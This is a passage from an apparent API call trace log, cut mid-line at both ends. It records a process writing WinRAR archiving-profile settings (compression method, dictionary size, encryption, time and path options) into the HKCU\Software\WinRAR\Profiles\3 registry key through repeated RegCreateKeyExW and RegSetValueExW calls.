Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.353] RegSetValueExW (in: hKey=0x164, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0xfffffffd, cbData=0x4 | out: lpData=0x18b058*=0xfffffffd) returned 0x0 [0052.353] RegCloseKey (hKey=0x164) returned 0x0 [0052.353] GetLastError () returned 0x0 [0052.353] SetLastError (dwErrCode=0x0) [0052.353] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.353] RegSetValueExW (in: hKey=0x164, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.353] RegCloseKey (hKey=0x164) returned 0x0 [0052.353] GetLastError () returned 0x0 [0052.353] SetLastError (dwErrCode=0x0) [0052.353] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.353] RegSetValueExW (in: hKey=0x164, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.353] RegCloseKey (hKey=0x164) returned 0x0 [0052.353] GetLastError () returned 0x0 [0052.353] SetLastError (dwErrCode=0x0) [0052.353] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.353] RegSetValueExW (in: hKey=0x164, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.354] RegCloseKey (hKey=0x164) returned 0x0 [0052.354] GetLastError () returned 0x0 [0052.354] SetLastError (dwErrCode=0x0) [0052.354] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.354] RegSetValueExW (in: hKey=0x164, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.354] RegCloseKey (hKey=0x164) returned 0x0 [0052.354] GetLastError () returned 0x0 [0052.354] SetLastError (dwErrCode=0x0) [0052.354] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.354] RegSetValueExW (in: hKey=0x164, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x3, cbData=0x4 | out: lpData=0x18b058*=0x3) returned 0x0 [0052.354] RegCloseKey (hKey=0x164) returned 0x0 [0052.354] GetLastError () returned 0x0 [0052.354] SetLastError (dwErrCode=0x0) [0052.354] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.354] RegSetValueExW (in: hKey=0x164, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2000000, cbData=0x4 | out: lpData=0x18b058*=0x2000000) returned 0x0 [0052.354] RegCloseKey (hKey=0x164) returned 0x0 [0052.354] GetLastError () returned 0x0 [0052.354] SetLastError (dwErrCode=0x0) [0052.354] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.354] RegSetValueExW (in: hKey=0x164, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.354] RegCloseKey (hKey=0x164) returned 0x0 [0052.354] GetLastError () returned 0x0 [0052.354] SetLastError (dwErrCode=0x0) [0052.354] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.355] RegSetValueExW (in: hKey=0x164, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.355] RegCloseKey (hKey=0x164) returned 0x0 [0052.355] GetLastError () returned 0x0 [0052.355] SetLastError (dwErrCode=0x0) [0052.355] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.355] RegSetValueExW (in: hKey=0x164, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.355] RegCloseKey (hKey=0x164) returned 0x0 [0052.355] GetLastError () returned 0x0 [0052.355] SetLastError (dwErrCode=0x0) [0052.355] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.355] RegSetValueExW (in: hKey=0x164, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.355] RegCloseKey (hKey=0x164) returned 0x0 [0052.355] GetLastError () returned 0x0 [0052.355] SetLastError (dwErrCode=0x0) [0052.355] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1897b8, lpdwDisposition=0x1897b0 | out: phkResult=0x1897b8*=0x164, lpdwDisposition=0x1897b0*=0x2) returned 0x0 [0052.355] RegSetValueExW (in: hKey=0x164, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x1 | out: lpData=0x13f26f128*) returned 0x0 [0052.355] RegCloseKey (hKey=0x164) returned 0x0 [0052.355] GetLastError () returned 0x0 [0052.355] SetLastError (dwErrCode=0x0) [0052.355] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.355] RegSetValueExW (in: hKey=0x164, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.355] RegCloseKey (hKey=0x164) returned 0x0 [0052.356] GetLastError () returned 0x0 [0052.356] SetLastError (dwErrCode=0x0) [0052.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.356] RegSetValueExW (in: hKey=0x164, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.356] RegCloseKey (hKey=0x164) returned 0x0 [0052.356] GetLastError () returned 0x0 [0052.356] SetLastError (dwErrCode=0x0) [0052.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.356] RegSetValueExW (in: hKey=0x164, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.356] RegCloseKey (hKey=0x164) returned 0x0 [0052.356] GetLastError () returned 0x0 [0052.356] SetLastError (dwErrCode=0x0) [0052.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.356] RegSetValueExW (in: hKey=0x164, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.356] RegCloseKey (hKey=0x164) returned 0x0 [0052.356] GetLastError () returned 0x0 [0052.356] SetLastError (dwErrCode=0x0) [0052.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.356] RegSetValueExW (in: hKey=0x164, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.356] RegCloseKey (hKey=0x164) returned 0x0 [0052.356] GetLastError () returned 0x0 [0052.356] SetLastError (dwErrCode=0x0) [0052.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.357] RegSetValueExW (in: hKey=0x164, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.357] RegCloseKey (hKey=0x164) returned 0x0 [0052.357] GetLastError () returned 0x0 [0052.357] SetLastError (dwErrCode=0x0) [0052.357] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.357] RegSetValueExW (in: hKey=0x164, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.357] RegCloseKey (hKey=0x164) returned 0x0 [0052.357] GetLastError () returned 0x0 [0052.357] SetLastError (dwErrCode=0x0) [0052.357] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.357] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.357] RegCloseKey (hKey=0x164) returned 0x0 [0052.357] GetLastError () returned 0x0 [0052.357] SetLastError (dwErrCode=0x0) [0052.357] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.357] RegSetValueExW (in: hKey=0x164, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.357] RegCloseKey (hKey=0x164) returned 0x0 [0052.357] GetLastError () returned 0x0 [0052.357] SetLastError (dwErrCode=0x0) [0052.357] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.357] RegSetValueExW (in: hKey=0x164, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.358] RegCloseKey (hKey=0x164) returned 0x0 [0052.358] GetLastError () returned 0x0 [0052.358] SetLastError (dwErrCode=0x0) [0052.358] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.358] RegSetValueExW (in: hKey=0x164, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.358] RegCloseKey (hKey=0x164) returned 0x0 [0052.358] GetLastError () returned 0x0 [0052.358] SetLastError (dwErrCode=0x0) [0052.358] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.358] RegSetValueExW (in: hKey=0x164, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.358] RegCloseKey (hKey=0x164) returned 0x0 [0052.358] GetLastError () returned 0x0 [0052.358] SetLastError (dwErrCode=0x0) [0052.358] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.358] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0052.358] RegCloseKey (hKey=0x164) returned 0x0 [0052.358] GetLastError () returned 0x0 [0052.358] SetLastError (dwErrCode=0x0) [0052.358] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.358] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.358] RegCloseKey (hKey=0x164) returned 0x0 [0052.359] GetLastError () returned 0x0 [0052.359] SetLastError (dwErrCode=0x0) [0052.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.359] RegSetValueExW (in: hKey=0x164, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.359] RegCloseKey (hKey=0x164) returned 0x0 [0052.359] GetLastError () returned 0x0 [0052.359] SetLastError (dwErrCode=0x0) [0052.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.359] RegSetValueExW (in: hKey=0x164, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.359] RegCloseKey (hKey=0x164) returned 0x0 [0052.359] GetLastError () returned 0x0 [0052.359] SetLastError (dwErrCode=0x0) [0052.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.359] RegSetValueExW (in: hKey=0x164, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.359] RegCloseKey (hKey=0x164) returned 0x0 [0052.359] GetLastError () returned 0x0 [0052.359] SetLastError (dwErrCode=0x0) [0052.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.359] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0x18b058*=0x0, cbData=0x8 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.359] RegCloseKey (hKey=0x164) returned 0x0 [0052.359] GetLastError () returned 0x0 [0052.359] SetLastError (dwErrCode=0x0) [0052.359] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.360] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.360] RegCloseKey (hKey=0x164) returned 0x0 [0052.360] GetLastError () returned 0x0 [0052.360] SetLastError (dwErrCode=0x0) [0052.360] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.360] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.360] RegCloseKey (hKey=0x164) returned 0x0 [0052.360] GetLastError () returned 0x0 [0052.360] SetLastError (dwErrCode=0x0) [0052.360] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.360] RegSetValueExW (in: hKey=0x164, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x4, cbData=0x4 | out: lpData=0x18b058*=0x4) returned 0x0 [0052.360] RegCloseKey (hKey=0x164) returned 0x0 [0052.360] GetLastError () returned 0x0 [0052.360] SetLastError (dwErrCode=0x0) [0052.360] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.360] RegSetValueExW (in: hKey=0x164, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.360] RegCloseKey (hKey=0x164) returned 0x0 [0052.360] GetLastError () returned 0x0 [0052.360] SetLastError (dwErrCode=0x0) [0052.360] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.360] RegSetValueExW (in: hKey=0x164, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.360] RegCloseKey (hKey=0x164) returned 0x0 [0052.361] GetLastError () returned 0x0 [0052.361] SetLastError (dwErrCode=0x0) [0052.361] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.361] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.361] RegCloseKey (hKey=0x164) returned 0x0 [0052.361] GetLastError () returned 0x0 [0052.361] SetLastError (dwErrCode=0x0) [0052.361] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.361] RegSetValueExW (in: hKey=0x164, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.361] RegCloseKey (hKey=0x164) returned 0x0 [0052.361] GetLastError () returned 0x0 [0052.361] SetLastError (dwErrCode=0x0) [0052.361] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.361] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.361] RegCloseKey (hKey=0x164) returned 0x0 [0052.361] GetLastError () returned 0x0 [0052.361] SetLastError (dwErrCode=0x0) [0052.361] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.361] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.361] RegCloseKey (hKey=0x164) returned 0x0 [0052.361] GetLastError () returned 0x0 [0052.361] SetLastError (dwErrCode=0x0) [0052.361] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.362] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.362] RegCloseKey (hKey=0x164) returned 0x0 [0052.362] GetLastError () returned 0x0 [0052.362] SetLastError (dwErrCode=0x0) [0052.362] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.362] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.362] RegCloseKey (hKey=0x164) returned 0x0 [0052.362] GetLastError () returned 0x0 [0052.362] SetLastError (dwErrCode=0x0) [0052.362] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, 